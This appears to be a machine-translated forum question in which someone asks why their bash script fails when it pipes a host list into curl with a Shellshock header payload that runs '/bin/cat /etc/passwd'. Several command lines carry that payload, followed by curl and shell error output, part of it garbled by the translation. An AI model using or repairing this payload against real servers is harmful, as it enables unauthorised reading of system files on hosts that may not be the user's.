我试图从我的脚本中传递一些shell命令来卷曲,但curl中的一个参数使用一个特殊字符,即引号,我试图用反斜杠转义引号,但这给了我另一个错误。
请考虑以下事项:
`cat $list | xargs curl -H \"custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd | printf %b \n`
当执行此操作时,我收到以下错误消息。
$myscript.sh: command substitution: line 32: syntax error near unexpected token `('
$myscript.sh: command substitution: line 32: `cat $list | xargs curl -H \"custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd | printf %b \n
当我从我的bash shelll运行此命令时,它会毫无问题地执行。
curl -H \"custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
如果我手动提供主机,您可以在我的脚本中告诉$list
var将提供要测试的主机列表。
也;
我搜索了命令替换错误,但似乎无法找到它在我的情况下是如何相关的,坦率地说,我对bash很新,所以这可能是问题的一部分。
非常感谢任何帮助,提前谢谢。
编辑:好的,我一直在研究这个问题,并试图逃避所有特殊字符。新代码:`cat $list | xargs curl -H \"custom:\(\) \{ ignored; \}\; echo Content-Type: text/html\; echo \; /bin/cat /etc/passwd | printf %b \n`
现在运行我的脚本curl后输出以下内容。
curl:(3)[globbing]位于pos 2的无与伦比的大括号
%收到的总百分比%Xferd平均速度时间时间当前时间 Dload上载总左转速度 0 0 0 0 0 0 0 0 - : - : - 0:00:01 - : - : -
0curl:(6)无法解析主机:忽略 100 12037 0 12037 0 0 10421 0 - : - : - 0:00:01 - : - : - 19254 100 5722 0 5722 0 0 6113 0 - : - : - - : - : - - : - : - 8341
Could not resolve host: ignored
让我相信curl正在尝试解析名为“ignored”的主机,这很奇怪,因为它应该将$list
var的内容通过xargs
传递给curl和$list
包含主机列表。
除此之外,我收到一条新的错误消息
myscript.sh: line 32: };: command not found
myscript.sh: line 32: <!DOCTYPE: command not found
我基本上不知所措,如果你们认为有帮助,我愿意发布整个剧本。
谢谢你们。